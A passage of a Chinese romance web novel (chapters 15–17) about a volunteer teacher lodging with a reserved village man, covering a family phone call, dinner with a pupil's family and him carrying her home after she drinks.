里面放了小鱿鱼和菠菜,汤浅浅淡淡的,味道却很鲜甜。
刑泽就是有这种本事,明明没见他放什么调料,偏偏就能把简单的面也做的有滋有味。
害得她本来没什么胃口的,又被钩住往嘴里多塞了几口。
“不行了,这次我真的吃不下了!”她放下筷子,义正言辞地宣布。
“没放多少面,把菜吃掉。”
刑泽起身把锅里剩的面汤舀进碗里。
牧听语又往嘴里塞了一根菠菜,眼睛盯着他的身影,含含糊糊道:“我就知道你饿了!”
刑泽瞥她一眼:“哪一次不是我扫尾?”
好吧。牧听语反驳不了他:“那你多吃点,你干活辛苦啦。”
吃完饭,刑泽去水槽边洗碗,牧听语把一旁差不多醒发好的面团拿了出来。
她找了一块干净的砧板,在上面撒上面粉,然后把面团放上去,然后皱着眉头看了看自己手上的绷带。
刑泽头也不抬地说:“不许拿下来。”
牧听语:“......”
“等着,”刑泽冲了冲手上的泡沫,“我拿个透明手套给你。”
牧听语跟着他走到橱柜边,探头看了看。
里面有一股淡淡的旧木味道,一层被隔成了三行,每行里面又被分成三个格子,每个格子里的东西都正正好摆放着,空间利用率非常高。
牧听语奇道:“这个柜子的设计好有意思啊,是你从外面定做的吗?”
“不是,”刑泽拿出手套递给她,“我做的。”
哦也是,这房子都是他自己建的。
牧听语接过手套,套在了左手上:“那你房子没建好之前都住在哪里啊?”
"在镇上住了一段时间。"刑泽回到水槽边继续洗碗。
牧听语咂舌:“每天跑来跑去啊,你也太有毅力了吧。这地方是非住不可吗?”
“风景还行。”
这个牧听语承认,但:“农村自建房不是挺难批的吗最近,是不是还要申请什么宅基地使用书来着?”
刑泽看了她一眼:“嗯。”
牧听语瞅了瞅他一脸风轻云淡的样子,就明白这事儿对他来说并不是什么难事。
不会是哪家的大少爷下乡体验生活来了吧?
也不像啊,哪家大少爷像他这样接地气的,什么活都自己干。
她心里好奇得紧,还是没忍住问了一嘴:“你为什么想着来这里住?”
刑泽只给出了一个字的答案:“累。”
牧听语心思很活络,明白过来肯定是他原来生活的地方给他造成什么烦恼了,这才想着来这种偏僻的地方躲清净。
她其实很能理解刑泽。
因为她曾经也有段时间很想一个人呆着,什么事也不干,什么人也不想见,甚至还动过跑到深山老林里躲着的念头。
都是成年人,只要在这个世界上生活,就不可能没有烦恼。
只不过人与人的经历不同,所以很难共情他人。
这都没什么的,不管用什么方式,只要能释放压力就好。
只要不选择一直压抑情绪。
就能继续生活下去。
牧听语垂下眼,用手指戳了戳那颗柔软的面团。
刑泽正擦着桌子,只听正在案板前忙活的女孩喊道:“刑泽,家里有没有皮筋,帮我拿一个,手套太大了老是往下掉!”
他回到水槽边洗了洗抹布:“没有。”
牧听语闻言,扭头看了看他脑袋上支棱着的短发,默然了一瞬。
好像确实用不着。
但她现在有一个问题。
为什么这种野蛮生长的、看上去毫无精心打理痕迹
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的头发,在他脑袋上竟然毫不违和?
这难道,就是传说中的建模差距吗......
她之前也剪过一次短发,刚出理发店的时候其实是笑着的。
但接下来的每一天,她起床面对满头的乱毛时,都在无比痛恨异想天开走进理发店的自己。
她叹了口气,准备伸手解开自己麻花辫上的头绳。
“手拿过来。”
刑泽不知道从哪里拿来了一根黄色的橡皮筋,用大拇指和中指把它撑开,等着牧听语的手伸过去。
他手指很长,骨节清晰有力,蛰伏着明显的力量感。橡皮筋在他手里仿佛像一个小号的活页环扣。
刑泽等了半天,她却没有反应。
抬头一看,见她正愣愣地盯着他拿着橡皮筋的手出神。
“?”
他蹙起眉,用手在她眼前一晃。
牧听语猛地回过神,抬眼与他对视上。
然后洁白的脸颊以肉眼可见的速度红了起来,分外明显。
刑泽莫名地看着她:“怎么了?”
“没、没什么。”牧听语一脸羞耻道。
她脑子里的黄色废料怎么这么多啊......还是小黄书看太多了呜呜呜......
靠,这手指也太性感了......
刑泽隔着透明手套握住她的手,把橡皮筋扎在了她的手腕上。
稍微有一点松,但好歹是扎住了。
他皱着眉,再次评价:“太瘦。”
刑泽的手很大,手掌宽厚,牧听语的手跟他一对比简直就像瘦弱的鸡爪子。
"我来的这两个星期肯定吃胖了!"
牧听语掩饰般嚷嚷道,有些不自然地扯住橡皮筋拉长,然后松手,仍由它“啪”一下弹回自己的手腕上。
那块可怜的皮肤瞬间开始泛红。
刑泽“啧”了一声:“手这么闲?你是幼稚鬼吗?”
牧听语不想让幼稚鬼这个称号实至名归地掉落在她脑袋上,于是装作没听见的样子,回到案板前继续处理面团。
刑泽抱着双臂靠在操作台上,微微低头看着她,声音带着点不易察觉的疑惑:“...你们女孩子,怎么都这么焦虑体重?”
牧听语没想到她随口的一句抱怨还能继续展开话题。而且......
她嘴里蹦出两个字:“你们?”
刑泽眉一挑,刚要开口,然后又像是想到了什么,脸色一瞬间变得有些古怪。
这种表情在他脸上可以说非常罕见,但牧听语却没注意到。
她正低着头,一边把搓成长条的面团分成一粒一粒,一边回答他:“嗯......倒也不是焦虑吧,但肯定也不能长胖太多,要稍微克制一下,不然我的衣服可能要穿不上了。”
刑泽的眼神带着一丝探究,落在了她的脸上。
她似无所察觉,接着说:“不过女孩子嘛,总是爱漂亮的啦,你可以安慰安慰她。”
刑泽没有接话,厨房里一时间安静了下来。
牧听语神情专注地分着面团,连头都没有抬一下。
“......”
刑泽眼睛里滑过一丝失望,刚想开口,一阵震动声打断了他。
他的手机在灶台边亮着屏幕,上面有来电显示。
他伸手拿过,看了一眼屏幕,一边按下接听键一边转身往外走。
“喂。”
电话那头的人大声喊他“阿泽”,又说了一句什么。
他回答道:“没有,在家。”
声音听上去十分柔和。
牧听语还在分面团,手上动作不停,散落下来的几缕发丝柔顺地垂在她的脖颈处。
她垂着眼,听着刑泽的脚步声逐渐变小,思绪飘忽了一下。
电话那头,似乎是个女生。
15. 不舍
“阿泽,爸问你什么时候回家?”
刑泽淡淡说道:“干什么?”
“老头子想你了呗,他最近喝酒的时候老是念叨你,吵得我烦死了。”
“你别听。”
“......”电话那头的女人顿时怒道:“刑泽!限你五天内回家!不然我就把你地下室的酒全都送给陈嘉东,到时候你就哭去吧!”
“......”
“......怎么回事,”女人声音变得讶异,“这都说不动你了?你那又没什么事,回一趟呗。”
“回不了。”刑泽有些无奈地开口。
“怎么回不了?你放心,老头子不是让你回来和亲的,咱家还没到这种程度。”
“......你能不能少看点电视剧。”
“跟你说话真无聊,好了,为什么回不了?”
刑泽知道她是不刨根问底不罢休的性子,有些头疼地说:“家里住了人。”
“住就住......”女人顿了一下,瞬间提高了一个音量,“哈?男的女的?”
刑泽默了一瞬:“女的。”
电话那头顿时响起一阵叮铃咣啷的声音。
刑泽把手机拿离耳朵,蹙起了眉头。
过了一会儿,一阵窸窸窣窣的动静响起,女人强装冷静的声音传来:“阿泽,爸要和你讲话。”
“......”
刑泽说:“我挂了。”
一道中气十足的男声顿时怒不可遏地响起:“臭小子——你敢挂我电话试试?!”
刑泽顿时皱起眉头,嘴角绷紧。
“人呢?我在和你讲话,声音去哪了?”
“好了好了我来讲,你去喂你的鸟,鸟饿了,快去。”电话那头很快换了人,女人开口道,“阿泽,什么时候把那姑娘带回家看看?”
“......”刑泽语气里带了点无语,喊她名字,“刑恩,真的少看点电视剧,行不行?”
“怎么跟我说话的!叫姐!”刑恩大怒,“那姑娘是谁,老实招来!”
刑泽站在门口,看了眼没有动静的厨房,皱着眉语速飞快回答,“外面来的支教老师,没地方住,在我这借住两个月。行了挂了,我有事。”
刑恩连声喊他:“你给我等等!......老师也不错啊,老师好,你们关系怎么样啊?发展到什么程度了?”
“......”
“我就问问,至少我得知道用不用继续给老头打预防针啊。”电话那头长吁短叹,“为了防止你的突然出柜我真是煞费苦心。”
“......”
性取向被怀疑的刑泽冷冷道:“这个点你为什么有闲心跟我打电话?公司倒闭了?”
“呵,”刑恩轻蔑地笑了一声,“亲爱的弟弟,你猜今天星期几?而且我花钱养着一帮人也不是让他们天天玩过家家的。”
“......”
两人旷日持久的拌嘴日常可以追溯到幼儿园时期,刑泽现在没工夫跟她扯皮,忍着不耐刚想开口,远处突然传来一道响亮的喊声。
“——阿泽哥哥!”
他分出神抬眼看去,石头正一边挥手一边往这边跑过来。
刑恩在电话那头疑惑道:“怎么还有小孩的声音?”
石头很快跑到他面前,气喘吁吁地支着膝盖。
刑泽轻轻吸了口气,把原本不耐的神色压了下去,淡声问:“怎么了?”
“牧、牧老师在不在?”石头喘匀了气,探头往屋内张望,“我妈妈想请牧老师到家里吃饭!”
刑泽微不可察地皱了下眉头,刚想说话,又被电话那头刑恩的大嗓门打断:“牧老师是谁?是不是就是那个姑娘!快,让我和她说说话——”
石头也开始往屋内喊了起来:“牧老师!牧老师你在不在——?”
刑泽:“......”
他头疼得要命,刚想动手把石头的嘴捂住,屋内传来了牧听语的声音。
“是哪个小朋友来找我了呀?”
石头欢欣雀跃地在门口蹦蹦跳跳:“牧老师,我是石头,晚上去我家吃饭吧!”
牧听语洗完手走出门,与拿着手机的刑泽对视了一眼,然后转向石头笑道:“是你想邀请老师去吃饭吗?”
“妈妈喊我来的!”石头伸了下手,似乎想去牵牧听语的手,但又瑟缩了一下,收了回去,“我,我也想老师来!”
牧听语瞧见他的小动作,笑眯眯地蹲下身拉住他脏兮兮的小手:“这是去哪玩了呀?”
石头高兴起来,手指紧紧抓着牧听语的手,兴冲冲地指向海滩的位置:“那边的大石头上!有好多小螺!”
“听起来真好玩,”牧听语站起身,拉起他的手,把他往屋里带,“来吧,老师带你去洗洗手。”
手上传来一股微弱的阻力,她回过头,只见石头扒着门框不肯进,神情有些胆怯地看了刑泽一眼。
“走吧,没事的。”牧听语摸摸他的脑袋,“不要打扰他打电话。”
一句话都还没说的刑泽:“......”
两人很快洗完手从屋内出来,牧听语对着刑泽打了声招呼:“我走啦。”
“等等,”刑泽将手机拿远了一点,皱着眉问,“你要去他家吃晚饭?”
“对啊,人家都邀请我了,干嘛不去?”
刑泽喉咙有些堵:“......那饺子呢?你不是说晚上要吃?”
“又不是非得今晚吃。我刚刚收拾了一下,等吃完饭回来再包吧。”
说着,牧听语瞥了一眼他手里的手机,语气轻快:“把女孩子晾在那里,小心她生气哦。”
“不是,她......”
“好了,”牧听语漂亮的眼睛朝他一弯,笑着说,“我走了。”
“......”
刑泽看着牧听语离去的背影,眉眼间浮着少有的烦躁。
“刑泽,”刑恩的声音从听筒里幽幽地传来,“你绝对有情况......”
没人回应她。
刑恩静了一会儿,又说:“不想她去就说呗。”
刑泽沉默着,然后缓缓吸了口气。
“你这性子和老头太像,什么都不愿意说,人家怎么知道你是怎么想的?要沟通知不知道?”刑恩语重心长地教育他,“而且她刚刚明显是误会了,要记得和她解释。”
“知道。”刑泽捏了捏眉心,“本来就想说。”
“——呵。”刑恩冷笑一声。
“你果然有情况!”
那边传来噔噔噔上楼梯的动静,紧接着她森然的声音传来:“刚刚还想瞒你老姐?你等着吧臭小子!”
刑泽:“......”
等着什么?
没等他问,刑恩啪一声把电话挂了。
周围突然寂静下来,他看着黑掉的手机屏幕,又抬眼看了看那条小路。
阳光倾洒下来,小路上一片光亮,连个人影都没有,只有树叶被风吹过发出簌簌声响。
刚刚不知所踪的小狗突然从角落里蹿了出来,冲到他脚边不停转悠,轻轻汪呜了几声。
刑泽冷眼看了一会儿,弯腰拎起它,盯着那双圆溜溜的眼睛,压着眉眼问:“刚刚干什么去了?”
小狗被提着后脖颈,嘤嘤叫着。
“——不许叫。”刑泽臭着一张脸,“下午没有零食了,等她回来喂你。”
.
牧听语跟着石头一路走一路逛,听他叽叽喳喳讲着平常和小伙伴一起玩水爬礁石的故事。
她听着听着也觉得有些心痒痒,就跟着他来到海边。
海滩上铺着各种大小不一的砾石和粗沙,海浪阵阵打来。
晒干碎裂的贝壳零零星星散落着,翻开大块一点的石头能找到退潮后留下的小螃蟹,深色的岩壁上崎岖不平,摸上去沙沙的有些剌手,仔细看却发现上面趴着大大小小种类不一的海螺。
牧听语看了眼手机,时间还早,于是就和石头一起脱了鞋,脱了袜子,跑到潮水的边缘,等着海浪又一次拍打来。
清凉的海水
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没过脚面,在海滩上留下深色的痕迹。
她穿的五分裤,不怕裤脚被打湿,于是往前再走了几步。
石头在身后提醒她:“牧老师,不要往里面走。”
“没事啦,牧老师很高的啦,不会被冲走的。”牧听语笑眯眯地说。
她感受着海水渐渐漫延到小腿上,惬意地眯了一下眼睛。
她发现自己是真的喜欢海。
不管海水是湛蓝清澈还是略带浑浊,无论沙滩是细腻或是粗粝,无论海边游客是热热闹闹还是冷冷清清,她都体验过。
她跑遍了大大小小的海边,每次都爱爬上高大的礁石,感受海风所独有的、略微腥咸却满是自由的气息,妄想自己是一只海鸟,被风高高托举而起,然后展翅高飞,迎着热烈的朝阳飞到任何想去的地方。
——她从七岁起就开始这么想了。
海滩上没有任何遮蔽,阳光当头洒下,牧听语眯起眼睛看着远处的天际线,耳边仿佛只剩下海浪的声音,脚不由自主地又往前迈了一步。
“牧老师!”石头有些大声地喊她,“快回来!”
“......”
牧听语恍然回神,猛地发现海水已经堪堪没过大腿,半截裤子都淹在了海面以下。
她回过头,见瘦小的石头站在海滩上,正焦急地看着她。
“我来啦!”牧听语扬起笑容,迈腿往回走,“好像是有点涨潮了哎。”
石头严肃地教育她:“牧老师,不可以往海里走,会被冲走!”
牧听语态度很好地认错:“知道啦,对不起。你真厉害,安全意识好强。”
“爸爸妈妈经常跟我说,我知道。”石头的仰起脑袋看她,“他们说,很早以前村里有个小孩就被冲走了。”
“啊......”牧听语张了下嘴,笑意渐渐淡去。
他们在一块大一点的岩石上坐了下来,她拧了拧裤脚上的水,伸直两条腿,让阳光充分晒到浸湿的裤子。
牧听语问:“你的小伙伴们呢?”
石头双臂支在身后,晃荡着两条瘦弱的小腿:“鹏鹏的妈妈喊他回家了,阿力哥哥带着小时、阿虾还有家飞去后面的山上玩了。”
牧听语转过身看向石头说的那座山,它不高,看上去植被茂密。
她问:“山上有什么好玩的呀?”
“没什么好玩的。”石头撇了撇嘴,“但阿力哥很喜欢去,他总是喜欢带着他们去探险,不过有时候能在山上捉到一些没见过的小虫子。”
牧听语若有所思地点了点头。
他们坐在岩石上晒了一会儿太阳,牧听语等着裤子变干一些,石头就一直坐在她旁边陪着,两人有一搭没一搭地说着话。
牧听语心里有些惊奇。
她第一眼见到石头的时候,觉得他是一个顽皮的小孩子,后面相处过后发现他是个有些害羞的小男孩,而现在,他却展现了这个岁数的孩子所没有的沉稳和安静。
她不知道在哪看到过一个说法。
其实每个人细究起来都很有意思,只是人很少会被其他人仔细看见。
而看见的过程,就是不断了解和亲近的过程。
在旅途中,她总是能遇到形形色色的人,却都是匆匆一瞥。
因为她总是不断在离开、远去,以至于没有空停下仔仔细细地看每个人。
但可能,刑泽是个意外?
她心中刚浮现这个名字,嘴角就弯了起来。
这个人表面看着凶巴巴的,其实内心很细腻,很会照顾人,而且总会用一种别样的方式来体贴关心人。
就是有些时候会太管着她,像对待小孩一样对待她,有时候被她气到了会凶她,气得不行了就会弹她脑门。
除此之外,他是个很好的人。
在此之前,牧听语从没觉得离开一个地方会让自己有多不舍。
可当她突然意识到自己一个多月后就要离开的时候,却罕见地生出了丝丝缕缕复杂的情绪。
明明才认识了不久,真是奇怪。
16. 吃醋
牧听语刚跟石头走到家门口的小路上,一个妇人就从屋内迎了出来。
妇人腰间围着围裙,略有些粗糙的脸上带着拘谨却难掩热情的笑容:“这就是牧老师吧,你好你好!我是石头的妈!”
她的普通话不太标准,带着些口音,动作也不自然,手都不知道往哪里放,似乎是很少在家迎接客人。
牧听语上前亲切地拉住她的手:“石头妈妈你好呀,你喊我小牧就可以啦~谢谢你喊我来吃饭~”
“谢啥呀!”妇人脸上露出笑容,她的手粗糙温厚,上面有一层明显的茧,摸到牧听语手上的绷带时,有些惊讶地问道,“哎呀,牧老师你这手是怎么了?”
“没事,不小心烫了一下。”牧听语弯着眼睛回答。
“哦哟,”妇人略带心疼地摸了摸她的手,“小心一点嘞,你这手这么漂亮。”
牧听语笑着问:“石头爸爸呢?”
“他上镇上去嘞,家里没米了。”妇人憨厚的笑了一下,向一旁的石头招了招手,“过来,陪牧老师说说话!牧老师,你先进屋里坐,马上就能开饭了。”
牧听语连忙说:“我来帮你一起吧!”
“那怎么行!”妇人动作强硬地拦住她,把她带进屋内,“你坐着,坐着!”
牧听语一进门,就看见了一张四方木桌和几条木头长椅,挨挨挤挤地占了屋内的一大部分位置。左手一伸就能碰到墙壁上的电灯按钮,往前走几步就是上楼的粗糙石梯。
妇人把她按在椅子上,转身往里屋走去。
牧听语问石头:“那里是厨房吗?”
“厨房,还有厕所。”石头回答,“楼上是睡觉的地方。”
这些地方和眼前这个甚至不能称为餐厅的狭小四方空间,组成了一个破旧的二层小屋,组成了石头的家。
墙面粗糙地刷了一层白漆,可能时间有些久远,角落已经掉了一层皮,露出深灰色的水泥面。墙上还用铅笔写着许多歪歪扭扭的电话号码,旁边分别标注着牧听语看不懂的记号,依稀能看出来是中文字。
石头见她盯着墙面看,一一给她解释道:“送煤气的、送酒的,还有一些亲戚的号码。”
牧听语伸手摸了摸石头的脑袋,嘴角轻轻弯了弯。
过了一会儿,一个身形不高的中年男人推着自行车,沿着小路走进来。
“爸!”石头从椅子上一跃而起,冲出门。
牧听语也走出门去,那男人一见她,愣了一下,然后嘴巴动了动,似乎是想露出一个笑容。
石头仰着脑袋,大声给他介绍:“爸,这就是牧老师!”
男人推着自行车走近,客气地朝她躬了一下身,说话也带着这边常有的口音,却很和善:“你好,牧老师。”
“石头爸爸,不用客气!”牧听语连忙回了礼,“喊我小牧就可以了。”
男人似乎不善言辞,将自行车停在墙角,搬起后座的米袋转身,见牧听语还站在那,连忙说:“老师,坐,坐。”
牧听语应了一声,目送男人进了里屋,很快妇人的声音响起:“回来了?”
突然,她感觉衣角被扯了扯。
她扭过头,见石头神神秘秘地摊开手,上面有着两颗小拇指大小的糖,色彩明艳的糖纸闪烁的细微的光。
“给你。”石头说。
牧听语失笑道:“哪里来的呀?”
“爸爸刚刚给我的。”石头把糖塞进她的手里,又孩子气地把她的手握成拳头,将两颗糖包在了她的手心里。
牧听语觉得他实在是太可爱了:“爸爸给你的,你自己吃呀,老师有糖。”
“不一样。”石头严肃道,“给你。”
说着,他像想起什么,噔噔噔地跑上楼,过了一会儿又下来了,手里拿着一张纸。
“牧老师,你看!”石头献宝一样把纸递到她眼前,“你让我们画画,我画了!”
牧听语接住那张轻飘飘的纸,入眼是笔触稚嫩的线条,有些凌乱,说不上好看。弯弯曲曲的线条是波浪,戳着尖角的两条弧线是小船,小船上不起眼的两个小标记是人,还有一个占据画面一半大的、站在海中为小船保驾护航的巨人。
牧听语看着纸上简单无比却直率大胆的画,心里沉甸甸的,明知故问道:“这个大大的人是谁呀?”
“是我。”石头有些不好意思地低下头,脚尖不自然地动了动:“小船上是爸爸妈妈。”
牧听语心中触动,托着他的下巴,动作轻柔地抬起他的脸,毫不吝啬夸奖:“画得很好。”
小男孩的眼睛一下子变得亮亮的,惊喜问道:“真的吗?”
“真的,”牧听语一脸认真,“牧老师会画画,牧老师说你很好就是很好。”
男人从里屋端着菜出来,招呼道:“石头,去洗手,可以吃饭了。”
“我在牧老师家里洗过啦!”石头响亮回答。
牧听语站起身帮忙接菜。
妇人走出来,双手在围裙上擦了擦,不好意思地说:“牧老师,家里没什么好东西招待你,你别嫌弃。”
“怎么会?”牧听语笑道,“我能来吃饭就已经很开心了。”
餐桌上两素两荤,弥漫着锅气香,几人落座,男人还给自己倒了一杯白酒。
男人倒完还问了牧听语:“牧老师,你喝不喝?”
妇人哭笑不得地拦他:“牧老师一个小姑娘,你自己喝就得了,还想找人陪你啊!”
牧听语却笑道:“我能喝的。”
男人看起来很惊讶,脸上终于露出了明显的笑意:“那喝点,喝点。”
“哎,这.....”妇人没拦住,一脸无奈,“牧老师,不是什么好酒,白酒兑了水的......”
牧听语豪迈地一摆手:“没事!”
没有喝白酒的盅,男人刚刚是直接倒在瓷碗里,他给牧听语拿了一个新碗,作势要倒。
眼见他那架势就是冲着满满一碗去的,牧听语还是怂了:“少...少倒一点......”
最终她接过半碗白酒,与碗里透明的酒液干瞪眼。
她从来没这么喝过白酒。
男人端起碗,神情变得活络了一些:“牧老师,来。”
牧听语与他碰了下碗,低下头小小啜了一口。
她很少喝白酒,觉得太辣口。这一口进嘴依旧很辣,却非常寡淡无味,有些难以下咽。
不过酒能好喝到哪里去,她喉咙一滚,咽了下去。
妇人本想给她夹菜,动作却在半空顿了一下,最后只说:“牧老师,吃菜,吃菜。”
牧听语终于知道石头的那副模样是像谁了。
想牵她却又缩回去,因为觉得手脏;想给她夹菜,却想起筷子已经用过了,怕她嫌弃。
这种想亲近,却又小心翼翼往回缩的举动,特别戳她的心窝子。
“牧老师,今天喊你来吃饭,是想谢谢你。”妇人明显不擅长说这种话,有些磕巴,“我们家石头,说特别特别喜欢你。”
“真的吗?”牧听语开心地笑了起来,有些揶揄地看着石头快要低到桌子底下的脑袋:“喜欢我什么呀?”
妇人回忆道:“他天天回来都要提你,说你今天教了什么,讲了什么故事,陪他在墙角看看了蚂蚁,帮他捡了树上的沙包,跟他说了很多很多话...什么什么的......太多了,天天提。说你上课特别有趣,他喜欢听你上课。”
牧听语故意对着石头拉长声音说:“原来石头这——么喜欢我呀。”
桌上众人都笑了起来,石头窘迫地恨不得钻到桌子底下,可还是冒了一句:“还有别的没说!”
牧听语笑着问:“还有什么呀?”
小男孩脸皮薄,却还是努力抬起头,看向这个偶然出现在他人生中的、颇为与众不同的老师,大声说:
“牧老师!你从来、从来不会说我不好!”
他从小捣蛋爱玩、上山下海,所有人看到他都问:石头,你今天有没有惹事?
他不爱学习、经常逃课,所有人看到他都说:石头,你怎么又不听话?
直到那天,他和小伙伴闹了矛盾,漫无目的转悠到刑泽屋前时,见到了牧听语。
刑泽不喜欢他们这群小孩子进屋,他就蹲在地上和小狗玩。
小苹来了,第一句话就是:石头,你怎么又逃课?
他怕挨揍,就躲到了那个从未见过的漂亮姐姐身后,漂亮姐姐很温柔,只有她问:为什么逃课呢?
逃课能有什么理由,顽皮、不听话、不懂事,从来没有人问他为什么。
只有她问为什么。
可他不好意思说和朋友吵架了,只说上课太无聊。
没有听到批评,也没有听到指责,只听她笑着说:对,确实很无聊,看来你都学会啦。
石头看着她的眼睛,就明白她什么都知道,只是没有戳穿自己。
他也
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知道“聪明”和“懂事”这两个字跟自己毫无关系。
只是,这个唯一一个,愿意蹲下来好好听他讲话的人。
.
牧听语迎着月光,坐在石头家门口的小木凳上消食。
不敢相信,她竟然把那半碗白酒都喝完了。
兑过水的白酒真的不好喝,口感依旧辛辣,却毫无酒香。
也许是石头一家人太热情,也许是石头的话让她觉得开心,也许是吃饭时的氛围太温馨。
也许她真的好久,没有这样热热闹闹地和一家子人吃过饭了。
那天去小苹家里吃饭,男主人不在家,女主人忙着干活,她在冷冷清清的餐桌上也呆不下去,吃了几口就放下了筷子。
果然,吃饭还是得热闹一点好啊。
牧听语微不可察地叹了口气,突然听到前面传来一道诧异的声音:“——牧老师?”
她抬头看去:“咦,庄老师?”
庄任走到她面前:“你怎么会在这里?”
“来蹭饭的。”牧听语仰起脑袋笑道。
庄任看着她酡红的脸颊,结巴了一下:“你,你喝酒了?”
“喝了一点。”
屋内的妇人听到声响走出来:“小庄,你怎么来了?”
“我妈让我来给您拿点海鲜。”庄任提起手上的袋子,“今天刚上来的,还新鲜。”
“哎哟,”妇人赶紧推拒,“不要了,你天天送东西过来干嘛啦!”
庄任开玩笑道:“林姨,我就是个跑腿的,做不了主。您就收下吧,不然我回去准要挨骂。”
“真是的,”妇人佯怒地瞪了他一眼,“那替我谢谢月娥!”
“晓得的。”
妇人把东西收进屋内,然后出门走到牧听语跟前:“牧老师,天黑你认得路伐?我送你......哎哟,怎么脸这么红呀?”
牧听语眯起眼睛笑:“没事的啦,我喝酒上脸,没有醉的。”
但酒劲确实是有些上来了,感觉脑袋有点沉沉的。
“刚刚喊你不要喝这么多!”妇人语气亲昵地嗔怪,“还能不能走路?我送你回去。”
“不用不用!我认得路!”牧听语扶着墙边站起身,稍微晃了一下,“我自己可以!不用麻烦!”
“哎哟,就这个样子怎么可以啦,”妇人哭笑不得,“你等等,我......”
“林姨!”庄任的声音响起来,“我来送好了!”
牧听语闻言摆摆手:“不用庄老师,太麻烦你了!”
庄任走上前来,坚持道:“我家也在那个方向,刚好顺路了,不麻烦的。”
话都说到这个份上,牧听语只好答应。
伴随着妇人“小心些,一定要把牧老师安全送到家”的叮嘱,两人沿着小路慢慢走出去,走上大路。
庄任看了一眼专心低头走路的牧听语,有些不自然地开口:“牧老师,你还好吗,要不要...扶你一下?”
牧听语抬起头笑道:“我酒量挺好的其实,不用担心。”
路上仅有的几盏路灯昏黄,光晕打在她泛红的脸颊上,与带着些许水光的漂亮眼睛相交映。
庄任呼吸一滞,愣愣地点了点头。
一路上,庄任都拼命找着话题,只是他嘴巴笨,不知道什么话题牧听语感兴趣。
而且不知道是不是喝了酒的缘故,牧听语看上去不是很有精神,只是简单地应和几句。
眼见着快要到刑泽家,庄任有些着急起来。
他嘴巴开开合合几次,终于是鼓起勇气,一咬牙,颤颤巍巍地开口:“牧老师,下、下星期六,有没有空去镇上?和我......就是那边...新开了个小电影院......”
“嗯?”牧听语似乎是没听清,转头看向他。
庄任被那双泛着水光的漂亮眼睛一蛊惑,屏住呼吸,情不自禁地迈近了一步:“我说......”
“——牧听语。”
小路的尽头突然传来一道沉沉的声音。
牧听语听到有人喊自己的名字,迷迷糊糊地转头看去。
刑泽站在离他们十步之遥的地方,神色很冷。
庄任不知道他在那里站了多久,顿时倒退一步,有些尴尬地开口:“刑、刑哥,你怎么......”
谁知男人看都没看他一眼,直直盯着那个面色酡红的女孩,缓缓开口。
“——牧听语,过来。”
17. 贴近
“——牧听语,过来。”
男人的声音很沉,带着扑面而来的压迫感。
庄任吓了一跳,下意识开口想解释:“刑哥,不是你想的......”
还没说完,身边的人就动了。
牧听语脑袋沉沉的,思绪也有点迟钝。
一路走来,喝下去的酒液在她身体里不停摇摇晃晃,逐渐渗透到了每个角落。
一部分攻占她的意识,一部分压在她心里,好像一块沉沉的砖,压得她发闷。
她一直走到他面前停下,仰起脑袋。
然后——伸手拉住了他的衣角。
刑泽垂下眼,看着女孩水光潋滟的眼眸,淡声问:“喝酒了?”
牧听语乖乖回答:“喝了。”
他压着的眉松开一些,微抬了头,对庄任示意:“谢谢你送她回来,早点回去吧。”
庄任本来就有点怕他,这会儿再有什么心思也都收了回去,只是看着他那副马上就要开口训人的架势,不免有些替牧听语感到担心。
他犹豫了一下,还是开口:“刑哥,牧老师她...不是故意喝多的,还要麻烦你多照顾她。”
“......”
刑泽掀起眼皮,带着审视的目光,重新看向那个站在路灯下的青年。
面容清秀,年轻、温和,还带着些文雅的书卷气,是很容易让人产生亲近感的长相。
他站在路灯下,语气里满是对牧听语的关切。
刑泽微眯了下眼睛,沉声说:“去吧。”
庄任只好一步三回头地离开了。
待他的脚步声消失后,牧听语没忍住笑出了声。
刑泽闻声看去,发现自己的衣角已经被扭成了一个可怜的小麻花。
“......”他气还没消尽,语气也有些凶,“笑什么?”
牧听语眨了眨眼:“你刚刚是不是想骂他?”
“......”
刑泽淡淡睨着她,没说话。
牧听语努力支撑着自己的脑袋,绘声绘色地描述:“你刚刚脸上的表情好像在说——快走开,别在这碍事!”
说完,她又开始笑个不停。
刑泽看着她的模样,喉结不明显地滚了一下。
过了一会儿,他开口,声音低低的:“知道他为什么碍事吗?”
牧听语歪着脑袋想了一会儿:“不知道。”
刑泽问:“喝了多少?”
“半碗白酒,半碗。”牧听语伸出两只手,比成一个碗口大小的圆,“就这么大。”
刑泽绷着嘴角,凉凉道:“酒量这么差还学人喝酒?好喝么?”
“不好喝。”牧听语重新伸手拉住他的衣角,“特别特别不好喝,肯定还是桂花酒好喝。”
还想着桂花酒呢。
刑泽扣住她的手腕,从她手里解救出自己的衣服:“能走路吗?”
“有点晕。”牧听语歪着脑袋看他,眼睛亮晶晶的。
刑泽眯起眼睛,伸手戳了一下她的脑门,问:“要我背?”
牧听语被戳得踉跄了一下,却还是笑眯眯的:“不要,我自己能走。”
刑泽:“......”
“你能走个鬼。”他拉住她的手搭在肩膀上,转过身蹲下,“上来。”
牧听语垂眼看着刑泽那宽厚的、看着就很有安全感的脊背,小声说:“那我就不客气了喔。”
刑泽:“啧。”
她顿时小小欢呼一声,用手钩住他的脖子,整个人趴上他的背,还试图往上蹭了一下。
女孩的气息在一瞬间逼近,刑泽浑身一僵,感觉到她柔软的身躯紧紧地贴上自己的背,甚至还不安分地动了动。
他喉咙一紧,语气里罕见地带了点恼意:“好好趴着,别乱动!”
牧听语不动了,乖乖应道:“好的。”
刑泽勾住她的膝弯,站了起来。
牧听语感觉自己在升空,这令她格外兴奋,双手撑住刑泽的肩膀,两条腿晃了晃,还想更加往上。
刑泽刚想出声警告,却见她举起一只手臂,像傲然众人、睥睨天下的女王,冷艳高贵道:“起驾。”
“......”
牧听语喝醉了之后格外不安分,刑泽走得很稳,她却话很多。
“晃!”
“走得太慢了!”
“我的鞋子是不是要被你甩掉了......”
刑泽懒得搭理她,故意不说话。
牧听语自顾自说了会儿话,安静了下来。
她的手搭在刑泽肩上,感受着底下传递而来的阵阵热量,轻轻晃了晃脑袋。
不行,头好像越来越沉了......
她的脖子好酸...要支撑不住了......
宽厚结实的肩膀就在眼前,犹豫一秒都是对自己的亏待,她立马爱不释手地摸了摸,心安理得地把脑袋靠了上去。
靠上去了还不够,又嫌肌肉太硬了,脑袋左右蹭了好一会儿,才在肩窝里面找了一个合适的位置,满意地咂吧一下嘴,不动弹了。
温热的气息喷吐在颈部,女孩身上有一股淡淡的香气,混合着沐浴露、阳光、海风和她独有的气味。
